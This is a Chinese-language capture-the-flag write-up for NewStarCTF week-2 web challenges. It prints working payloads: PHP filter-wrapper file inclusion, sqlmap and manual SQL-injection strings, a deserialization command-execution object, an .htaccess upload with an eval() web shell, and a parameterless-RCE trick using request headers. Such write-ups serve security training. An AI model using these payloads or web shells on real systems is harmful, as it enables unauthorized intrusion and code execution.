NewStarCTF第二周,菜鸟的wp
游戏高手 听说你是游戏高手?
进环境发现是个小游戏,分数到达100000
才能拿flag
:
目测是要通过burpsuite
伪造分数数据包,右键源码没啥东西,F12
打开调试器,发现app_v2.js
:
在游戏进行的过程中并不存在数据包传递,除非游戏结束时分数>100000
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function gameover ( ){ if (gameScore > 100000 ){ var xhr = new XMLHttpRequest (); xhr.open ("POST" , "/api.php" , true ); xhr.setRequestHeader ("Content-Type" , "application/json" ); xhr.onreadystatechange = function ( ) { if (xhr.readyState === 4 && xhr.status === 200 ) { var response = JSON .parse (xhr.responseText ); alert (response.message ); } }; var data = { score : gameScore, }; xhr.send (JSON .stringify (data)); } alert ("成绩:" +gameScore); gameScore=0 ; curPhase =PHASE_READY ; hero = null ; hero = new Hero (); }
那就直接伪造一个包好了:POST
方法api.php
,host
就是靶机地址,Content-Type:application/json
,注意POST的数据要是JSON格式而且空一行,其它任意:
如果数据包格式有问题它会提示{"message":"so low score"}
看了官方wp
发现还有一种方法:直接打开控制台传gameScore=9999999999
,然后等游戏结束:
include 0。0 包含也有危害?
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$file = $_GET ['file' ];if (isset ($file ) && !preg_match ('/base|rot/i' ,$file )){ @include ($file ); }else { die ("nope" ); }?> nope
目测要用伪协议读flag.php
的源码,没过滤filter
但过滤了base|rot/
而且是/i
模式,不过没啥影响除了?file=php://filter/convert.base64-encode/resource=flag.php
还有很多其它方法。
之前攻防世界正好做过一个类似的,payload:
?file=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
源码是这个东西:
<?php //flag{af954c6a-1ac4-4e23-a235-fc4108a03783}
ez_sql 虽然使用sqlmap
是没有灵魂的,但我还是用了~
1 2 3 4 python sqlmap.py -u http://ec81de9a-5b56 -4796 -99be-f0810ee00a44.node4.buuoj.cn:81 /?id=TMP0919 --current-db python sqlmap.py -u http://ec81de9a-5b56 -4796 -99be-f0810ee00a44.node4.buuoj.cn:81 /?id=TMP0919 -D ctf --tables python sqlmap.py -u http://ec81de9a-5b56 -4796 -99be-f0810ee00a44.node4.buuoj.cn:81 /?id=TMP0919 -D ctf -T here_is_flag --columns python sqlmap.py -u http://ec81de9a-5b56 -4796 -99be-f0810ee00a44.node4.buuoj.cn:81 /?id=TMP0919 -D ctf -T here_is_flag -C flag --dump
flag:flag{76715552-3304-4be1-b5e7-235d60421e41}
后面看了下wp,因为太久没做这种手注了也试了试:
先判断数字型还是字符型注入:
1 2 3 4 5 6 7 8 /? id = TMP0919% 27 --+ 正常回显,初步猜测字符型注入/? id = TMP0919' And 1 = 1 --+ 正常回显,字符型注入 如果想在URL中用#这个注释符要编码成% 23 ,太久没做SQL注入了,一开始把这茬忘了。/? id = TMP0919' oRdeR by 5 --+ 判断几列/? id =- 1 ' UNION SELECT 1 ,2 ,3 ,4 ,5 --+ 判断回显位,这五个数字同时回显 后面就是正常手注过程。 一开始以为直接用preg_match的 / i模式把大小写都正则匹配掉了,后面发现可以用大小写绕过。本来还想尝试ASCII编码绕过,弄了很久都没成功,找了下发现这种方式在某些版本的mysql中不能用了。。 https:
Unserialize? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );class evil { private $cmd ; public function __destruct ( ) //__destruct 魔术方法,反序列化自动调用 { if (!preg_match ("/cat|tac|more|tail|base/i" , $this ->cmd)){ @system ($this ->cmd); } } } @unserialize ($_POST ['unser' ]);?>
1 2 3 4 5 6 7 8 9 10 11 class evil { private $cmd = "ls /" ; } $a = new evil ();$b = rawurlencode (serialize ($a ));echo $b ;
1 2 3 4 5 6 7 8 9 10 11 <?php class evil { private $cmd = "ca''t /th1s_1s_fffflllll4444aaaggggg" ; } $a = new evil ();$b = rawurlencode (serialize ($a ));echo $b ;?>
flag{aa2dff68-42ce-46b0-a7d7-bb1d8a524896}
Upload again!
肯定比week1过滤更严格了,上传htaccess.发现上传成功,内容:
1 2 3 <FilesMatch "test1.png" > SetHandler application/x-httpd-php</FilesMatch>
再上传test1.png
,配置文件的存在可以把test1.png
当成php
文件,以构造一句话木马
1 2 3 4 GIF89a<script language ='php' > @eval ($_POST['viper' ]); </script > <script language ='php' > @eval ($_GET['notbad' ]); </script >
上传路径直接回显就不用F12
去找了,可以先访问一下看是否访问成功,然后直接用蚁剑连就能拿flag
:
flag{99c580dd-c75e-41f2-89da-4741ab19f655}
后面看wp知道它是检查了文件内容:<?
R!!C!!E!! 进环境发现是敏感信息泄露,直接用dirsearch
扫:
dirsearch -u http://635180c1-325b-4912-8f12-65571659c74b.node4.buuoj.cn:81/ --delay 3 -t 30
.git
泄露,切换成根用户python2 GitHack.py http://635180c1-325b-4912-8f12-65571659c74b.node4.buuoj.cn:81/.git
发现两个文件,一个index.php
一个bo0g1pop.php
1 2 3 4 5 6 7 <?php highlight_file (__FILE__ );if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['star' ])) { if (!preg_match ('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i' ,$_GET ['star' ])){ eval ($_GET ['star' ]); } }
有个((?R)?\)
,典型无参数RCE。
无参数RCE用的比较多的方法有getallheaders()
,get_defined_var()
,session_id
。这题过滤了get_defined_vars
,所以尝试用另外两种。
先print_r(getallheaders())
看看以数组形式返回的包头是什么顺序的,正序还是倒叙?都返回哪些?
/bo0g1pop.php/?star=print_r(getallheaders());
正序回显以上内容,构建payload
:
?star=eavl(next(getallheaders()));
并把User-Agent头改成system('ls');
后面命令改成cat /flag
即可
虽然Host头第一位就回显了,但不能通过改Host头去执行命令,否则会弹400。或者利用array_reverse
改最后回显那个X-Forwarded-Proto
头也行